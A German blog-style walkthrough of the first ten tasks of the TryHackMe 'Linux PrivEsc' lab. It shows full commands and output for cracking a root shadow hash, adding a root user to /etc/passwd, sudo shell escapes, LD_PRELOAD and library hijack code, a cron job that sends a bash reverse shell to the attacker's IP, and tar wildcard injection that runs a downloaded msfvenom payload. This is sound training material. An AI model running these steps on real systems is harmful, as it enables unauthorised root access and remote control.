Weiter geht es mit Schwachstellen in Linux. Diesmal im Linux PrivEsc Raum. Aufgrund der Raumgröße werde ich meinen WriteUp in mehrer Teile splitten.
Task 1 Deploy the Vulnerable Debian VM
Frage 1:
Deploy the machine and login to the „user“ account using SSH.
Wir folgen der Anleitung und loggen uns per SSH auf der Machine ein. Die Userdaten sind: user:password321
Zum heutigen Zeitpunkt (29.06.2022) läuft auf der TryHackMe Machine noch eine alte Serverversion. Und man erhält eine Fehlermeldung, wenn man sich mit „ssh user@DIE_IP_DEINER_MACHINE“ verbinden will.
└─$ ssh user@DIE_IP_DEINER_MACHINE
Unable to negotiate with DIE_IP_DEINER_MACHINE port 22: no matching host key type found. Their offer: ssh-rsa,ssh-dss
Nach etwas Recherche gibt es aber folgenden Workaround:
└─$ ssh -o HostKeyAlgorithms\ ssh-rsa user@DIE_IP_DEINER_MACHINE
So lässt sich eine Verbindung herstellen.
Antwort 1:
Keine Antwort benötigt.
Frage 2:
Run the „id“ command. What is the result?
Antwort 2:
uid=1000(user) gid=1000(user) groups=1000(user),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev)
Task 2 Service Exploits
Im 2. Task dreht es sich um einen bekannten MySQL Exploit. Folgen wir der detailierten Anleitung im Task.
Frage 1:
Read and follow along with the above.
Antwort 1:
Keine Antwort benötigt.
Task 3 Weak File Permissions – Readable /etc/shadow
Hier folgen wir wieder der Anleitung und holen uns den Hash für den Root User. Diesen speichern wir dann (auf unserem Rechner) in einer Textdatei, um diesen in John the Ripper zu entschlüsseln.
echo "$6$Tb/euwmK$OXA.dwMeOAcopwBl68boTG5zi65wIHsc84OWAIye5VITLLtVlaXvRDJXET..it8r.jbrlpfZeMdwD3B0fGxJI0" >> hash.txt
Danach lassen wir von John the Ripper die Datei cracken:
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Als Ergebnis erhalten wir dann das Passwort und den Hashtyp:
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 512/512 AVX512BW 8x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
password123 (?)
1g 0:00:00:00 DONE (2022-06-29 20:00) 6.666g/s 13653p/s 13653c/s 13653C/s 123456..lovers1
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Frage 1:
What is the root user’s password hash?
Antwort 1:
$6$Tb/euwmK$OXA.dwMeOAcopwBl68boTG5zi65wIHsc84OWAIye5VITLLtVlaXvRDJXET..it8r.jbrlpfZeMdwD3B0fGxJI0
Frage 2:
What hashing algorithm was used to produce the root user’s password hash?
Antwort 2:
sha512crypt
Frage 3:
What is the root user’s password?
Antwort 3:
password123
Task 4 Weak File Permissions – Writable /etc/shadow
Wir folgen wieder der Anleitung, erstellen unser Passwort-Hash und fügen es mit einem Texteditor (z.B. Nano) hinter „root:“ , in die Datei „/etc/shadow“, ein. Wichtig ist, dass wir den Hash genau zwischen die beiden ersten „:“ einfügen.
Frage 1:
Read and follow along with the above.
Antwort 1:
Keine Antwort benötigt.
Task 5 Weak File Permissions – Writable /etc/passwd
Dieser Task ist ähnlich wie Task 4, nur benutzen wir diesmal die /etc/passwd Datei.
Wir folgen wieder der Anleitung und erstellen uns erst einen neuen Passwort-Hash aus dem Passwort „1234“:
user@debian:~$ openssl passwd 1234
XF7tngch5o9dg
Öffnen wir nun mit einem Texteditor (z.B. Nano) /etc/passwd und fügen folgenden neuen User unten an:
newroot:XF7tngch5o9dg:0:0:root:/root:/bin/bash
Mit STRG+X beenden wir Nano, bestätigen mit „y“ und drücken ENTER.
Wir wechseln auf unser neues root-Konto:
su newroot
und geben als Passwort „1234“ ein.
Frage 1:
Run the „id“ command as the newroot user. What is the result?
In die Kommamdozeile geben wir nun „id“ ein:
root@debian:/home/user# id
uid=0(root) gid=0(root) groups=0(root)
root@debian:/home/user#
Antwort 1:
uid=0(root) gid=0(root) groups=0(root)
Task 6 Sudo – Shell Escape Sequences
Hier benutzen wir Programme, die wir mit root-Rechten (sudo) und ohne Passwort ausführen können. Dabei hilft GTFOBins.
Für eine Übersicht der Programme, die man mit sudo ausführen kann, geben wir „sudo -l“ in die Kommandozeile ein:
user@debian:~$ sudo -l
Matching Defaults entries for user on this host:
env_reset, env_keep+=LD_PRELOAD, env_keep+=LD_LIBRARY_PATH
User user may run the following commands on this host:
(root) NOPASSWD: /usr/sbin/iftop
(root) NOPASSWD: /usr/bin/find
(root) NOPASSWD: /usr/bin/nano
(root) NOPASSWD: /usr/bin/vim
(root) NOPASSWD: /usr/bin/man
(root) NOPASSWD: /usr/bin/awk
(root) NOPASSWD: /usr/bin/less
(root) NOPASSWD: /usr/bin/ftp
(root) NOPASSWD: /usr/bin/nmap
(root) NOPASSWD: /usr/sbin/apache2
(root) NOPASSWD: /bin/more
user@debian:~$
Aufgabe im Task:
Choose a program from the list and try to gain a root shell, using the instructions from GTFOBins.
Wir nehmen das erste Programm in der Liste „iftop“. Hierzu gibt es diesen Exploit: https://gtfobins.github.io/gtfobins/iftop/
Sudo
https://gtfobins.github.io/gtfobins/iftop/
If the binary is allowed to run as superuser bysudo
, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.
sudo iftop
!/bin/bash
Starten wir also iftop:

Als erstes geben wir ein „!“ ein, um so die Kommandozeile zu öffnen. Danach geben wir /bin/sh ein und bestätigen mit ENTER.
Nun haben wir root-Zugriff in der Shell:
user@debian:~$ sudo iftop
interface: eth0
IP address is: DIE_IP_DEINER_MACHINE
MAC address is: DEINE_MAC
sh-4.1# whoami
root
sh-4.1#
Frage 1:
How many programs is „user“ allowed to run via sudo?
Antwort 1:
11
Frage 2:
One program on the list doesn’t have a shell escape sequence on GTFOBins. Which is it?
Im Browser auf GTFOBins drücken wir die Tastenkombination STRG+F, so öffnet sich die Suchfunktion. Wir suchen nach allen Programmen in der obrigen Ausgabe und stellen fest, dass „apache2“ fehlt.
Antwort 2:
apache2
Frage 3:
Consider how you might use this program with sudo to gain root privileges without a shell escape sequence.
Mit „man /usr/sbin/apache2“ können wir uns das Handbuch ansehen, leider konnte ich keine Lösung für die Aufgabe finden. Bei pentestmonkey und PayloadAllTheThings wurde ich dazu leider auch nicht fündig.
Antwort 3:
Keine Antwort benötigt.
Task 7 Sudo – Environment Variables
Für den ersten Schritt folgen wir wie immer der Anleitung und entscheiden uns als Programm für Nano:
user@debian:~$ gcc -fPIC -shared -nostartfiles -o /tmp/preload.so /home/user/tools/sudo/preload.c
user@debian:~$ sudo -l
Matching Defaults entries for user on this host:
env_reset, env_keep+=LD_PRELOAD, env_keep+=LD_LIBRARY_PATH
User user may run the following commands on this host:
(root) NOPASSWD: /usr/sbin/iftop
(root) NOPASSWD: /usr/bin/find
(root) NOPASSWD: /usr/bin/nano
(root) NOPASSWD: /usr/bin/vim
(root) NOPASSWD: /usr/bin/man
(root) NOPASSWD: /usr/bin/awk
(root) NOPASSWD: /usr/bin/less
(root) NOPASSWD: /usr/bin/ftp
(root) NOPASSWD: /usr/bin/nmap
(root) NOPASSWD: /usr/sbin/apache2
(root) NOPASSWD: /bin/more
user@debian:~$ sudo LD_PRELOAD=/tmp/preload.so nano
root@debian:/home/user#
Mit „exit“ verlassen wir die root-Shell und landen danach ich Nano. Diesen beenden wir mit „STRG+X“.
Weiter geht es mit der Anleitung:
user@debian:~$ ldd /usr/sbin/apache2
linux-vdso.so.1 => (0x00007fff983ff000)
libpcre.so.3 => /lib/x86_64-linux-gnu/libpcre.so.3 (0x00007fc581827000)
libaprutil-1.so.0 => /usr/lib/libaprutil-1.so.0 (0x00007fc581603000)
libapr-1.so.0 => /usr/lib/libapr-1.so.0 (0x00007fc5813c9000)
libpthread.so.0 => /lib/libpthread.so.0 (0x00007fc5811ad000)
libc.so.6 => /lib/libc.so.6 (0x00007fc580e41000)
libuuid.so.1 => /lib/libuuid.so.1 (0x00007fc580c3c000)
librt.so.1 => /lib/librt.so.1 (0x00007fc580a34000)
libcrypt.so.1 => /lib/libcrypt.so.1 (0x00007fc5807fd000)
libdl.so.2 => /lib/libdl.so.2 (0x00007fc5805f8000)
libexpat.so.1 => /usr/lib/libexpat.so.1 (0x00007fc5803d0000)
/lib64/ld-linux-x86-64.so.2 (0x00007fc581ce4000)
user@debian:~$ gcc -o /tmp/libcrypt.so.1 -shared -fPIC /home/user/tools/sudo/library_path.c
user@debian:~$ sudo LD_LIBRARY_PATH=/tmp apache2
apache2: /tmp/libcrypt.so.1: no version information available (required by /usr/lib/libaprutil-1.so.0)
root@debian:/home/user#
Auch hier beenden wir wieder mit „exit“.
Auch bei dieser Aufgabe bekommen wir ein Bonusziel: „Try renaming /tmp/libcrypt.so.1 to the name of another library used by apache2 and re-run apache2 using sudo again. Did it work? If not, try to figure out why not, and how the library_path.c code could be changed to make it work.“
Ich habe mich für „librt.so.1“ entschieden und hatte ich wohl Glück?
user@debian:~$ gcc -o /tmp/librt.so.1 -shared -fPIC /home/user/tools/sudo/library_path.c
user@debian:~$ sudo LD_LIBRARY_PATH=/tmp apache2
apache2: /tmp/libcrypt.so.1: no version information available (required by /usr/lib/libaprutil-1.so.0)
root@debian:/home/user# whoami
root
root@debian:/home/user#
Nein, das hängt mit den eingesetzten Dateien zusammen:
File: /home/user/tools/sudo/preload.c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setresuid(0,0,0);
system("/bin/bash -p");
}
Im ersten Beispiel haben wir mit dem Preload Befehl diesen Code geladen, bevor wir Nano gestartet haben. In dem Code wird eine Bash-Shell gestartet und, da wir Nano mit „sudo“ gestartet haben, erhalten wir root Zugriff.
Im zweiten Beispiel haben wir ein shared object erstellt, das den selben Namen hat wie eine apache library. Dieses shared object hat auf unseren Code verwiesen, der ebenfalls eine Bash-Shell startet und so die Eingabe „ausgetrickst“. Auch hier haben wir wieder „sudo“ zum Starten verwendet und erhalten so root:
File: /home/user/tools/sudo/library_path.c
#include <stdio.h>
#include <stdlib.h>
static void hijack() __attribute__((constructor));
void hijack() {
unsetenv("LD_LIBRARY_PATH");
setresuid(0,0,0);
system("/bin/bash -p");
}
Frage 1:
Read and follow along with the above.
Antwort 1:
Keine Antwort benötigt.
Task 8 Cron Jobs – File Permissions
Dieser Task ist nicht zu kompliziert. Wir bringen einen Cronjob dazu, uns auf unserem System „anzurufen“ und erhalten so eine Reverse Shell auf den Zielrechner. Wir folgen also der Anleitung und öffnen dann overwrite.sh mit dem Texteditor Nano:
user@debian:~$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/home/user:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
* * * * * root overwrite.sh
* * * * * root /usr/local/bin/compress.sh
user@debian:~$ locate overwrite.sh
locate: warning: database `/var/cache/locate/locatedb' is more than 8 days old (actual age is 776.9 days)
/usr/local/bin/overwrite.sh
user@debian:~$ ls -l /usr/local/bin/overwrite.sh
-rwxr--rw- 1 root staff 40 May 13 2017 /usr/local/bin/overwrite.sh
user@debian:~$ nano /usr/local/bin/overwrite.sh
In Nano fügen wir dann unseren Code hinzu. Dieser sorgt dafür, dass unser Rechner auf dem Port 4444 „angerufen“ wird und uns so die Shell ermöglicht. Beachte, dass wir unsere IP anpassen müssen:
File: /usr/local/bin/overwrite.sh
#!/bin/bash
bash -i >& /dev/tcp/DIE_IP_DEINES_RECHNERS/4444 0>&1
echo `date` > /tmp/useless
Wir verlassen Nano mit „STRG+X“, speichern mit „y“, gefolgt von „ENTER“.
Auf unserem Rechner starten wir nun einen Netcat Listener auf Port 4444 und warten auf unseren „Anruf“:
└─$ nc -nvlp 4444
listening on [any] 4444 ...
connect to [DIE_IP_DEINES_RECHNERS] from (UNKNOWN) [DIE_IP_DEINER_MACHINE] 52308
bash: no job control in this shell
root@debian:~#
Frage 1:
Read and follow along with the above.
Antwort 1:
Keine Antwort benötigt.
Task 9 Cron Jobs – PATH Environment Variable
In dieser Übung geht es um die PATH Variablen der Cronjobs. DIese beschreiben alternative Pfade, sollte eine Datei nicht auffindbar sein. Der Cronjob der „overwrite.sh“ wird in unserem Fall also zuerst aus unserem User-Verzeichnis (/home/user) ausgeführt, sollte es eine Datei mit entsprechendem Namen geben.
user@debian:~$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/home/user:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
* * * * * root overwrite.sh
* * * * * root /usr/local/bin/compress.sh
user@debian:~$
HIer sieht man sehr schön die Reihenfolge der Dateipfade, die der Reihe nach durchsucht werden. Im Vorherigen Task haben wir gesehen, dass die Datei „overwrite.sh“ im Verzeichnis /usr/local/bin vorhanden ist. Dieses Verzeichnis steht an dritte Stelle. Erstellen wir jetzt eine „overwatch.sh“ in unserem home-Verzeichnis, wird diese zuerst ausgeführt und der Rest der Pfade ignoriert. So schummeln wir unseren gefährlichen Code in die Cronjobs und so wird er mit root-Rechten ausgeführt.
Erstellen wir nun also die neue „overwrite.sh“ in Nano mit:
nano /home/user/overwrite.sh
Kopieren unseren Code hinein:
#!/bin/bash
cp /bin/bash /tmp/rootbash
chmod +xs /tmp/rootbash
Beenden Nano mit „STRG+X“, speichern mit „y“ und bestätigen mit „ENTER“. Dann folgen wir wieder der Anleitung:
user@debian:~$ chmod +x /home/user/overwrite.sh
user@debian:~$ /tmp/rootbash -p
rootbash-4.1# rm /tmp/rootbash
rootbash-4.1# exit
exit
user@debian:~$
Frage 1:
What is the value of the PATH variable in /etc/crontab?
Das ist der gelb markierte Teil in dem ersten Feld dieses Tasks:
Antwort 1:
/home/user:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
Task 10 Cron Jobs – Wildcards
Als Wildcard wird das „*“ Symbol bezeichnet. Je nach Programm hat es verschiedene Funktionen. Grob zusammengefass kann man sagen, dass alles was an der Position des „*“ steht beliebiger Text sein kann.
Das machen wir uns bei den Cronjobs zunutze.
Im vorherigen Task haben wir gesehen, dass neben „overwrite.sh“ noch „compress.sh“ läuft. Diesen Job schauen wir uns hier genauer an:
user@debian:~$ cat /usr/local/bin/compress.sh
#!/bin/sh
cd /home/user
tar czf /tmp/backup.tar.gz *
user@debian:~$
Dieser Code sagt, dass alle Dateien im /home/user Verzeichnis regelmäßig zusammengepackt und in der Datei „/tmp/backup.tar.gz“ gespeichert werden sollen.
Auf der verlinkten Seite von GTFOBins sehen wir, dass wir über tar einen Shell-Zugriff erhalten können, in Form von Flags:
--checkpoint=1 --checkpoint-action=exec=/bin/sh
Die Flags ermöglichen eigentlich das Ausführen von Programmen und kann so auch für eine Reverse-Shell-Payload genutzt werden. Man muss nur den letzten Teil (/bin/sh) gegen einen anderen Pfad tauschen und genau das machen wir jetzt.
Zuerst erstellen wir eine Payload mit msfvenom auf unserem Rechner:
msfvenom -p linux/x64/shell_reverse_tcp LHOST=IP_DEINES_RECHNERS LPORT=4444 -f elf -o shell.elf
Die Payload wird in der Dateil shell.elf gespeichert, diese müssen wir jetzt auf die Machine übertragen. Dazu öffnen wir auf unserem Rechner einen Python3 http Server:
python3 -m http.server --bind DIE_IP_DEINES_RECHNERS 80
Hierbei müssen wir darauf achten, dass wir im selben Verzeichnis sind, in dem sich auch die Datei „shell.elf“ befindet.
Auf der Machine laden wir jetzt „shell.elf“ herunter:
wget -c http://DIE_IP_DEINES_RECHNERS/shell.elf
Nach dem Download müssen wir der Datei noch Ausführungsrechte geben:
chmod +x /home/user/shell.elf
Jetzt folgen wir wieder der Anleitung und erstellen diese beiden Dateien:
touch /home/user/--checkpoint=1
touch /home/user/--checkpoint-action=exec=shell.elf
Diese beiden Dateien haben als Dateinamen die Flags, die von tar benutzt werden können, um Shell Zugriff zu erhalten. So tricksen wir den Packprozess des Cronjobs aus, der die Dateinamen als Flags sieht und so die shell.elf ausführt. Am letzten Dateinamen erkennt man, dass anstelle /bin/sh nun unsere shell.elf ausgeführt werden soll.
user@debian:~$ touch /home/user/--checkpoint=1
user@debian:~$ touch /home/user/--checkpoint-action=exec=shell.elf
user@debian:~$ ls
--checkpoint=1 --checkpoint-action=exec=shell.elf myvpn.ovpn shell.elf tools
user@debian:~$
Jetzt starten wir auf unserem Rechner einen Netcat-listener und warten auf den „Anruf“ unserer Reverse Shell:
nc -nvlp 4444
Nun haben wir root-Zugriff:
listening on [any] 4444 ...
connect to [10.8.1.75] from (UNKNOWN) [10.10.63.182] 42181
whoami
root
Nun folgen wir der Anleitung und löschen alle Dateiein:
rm /home/user/shell.elf
rm /home/user/--checkpoint=1
rm /home/user/--checkpoint-action=exec=shell.elf
Frage 1:
Read and follow along with the above.
Antwort 1:
Keine Antwort benötigt.
Das war der erste Teil des Linux PrivEsc Raumes. In Teil 2 gehen wir dann die restlichen Tasks durch. Bald haben wir den Complete Beginner path abgeschlossen!
0 Kommentare
1 Pingback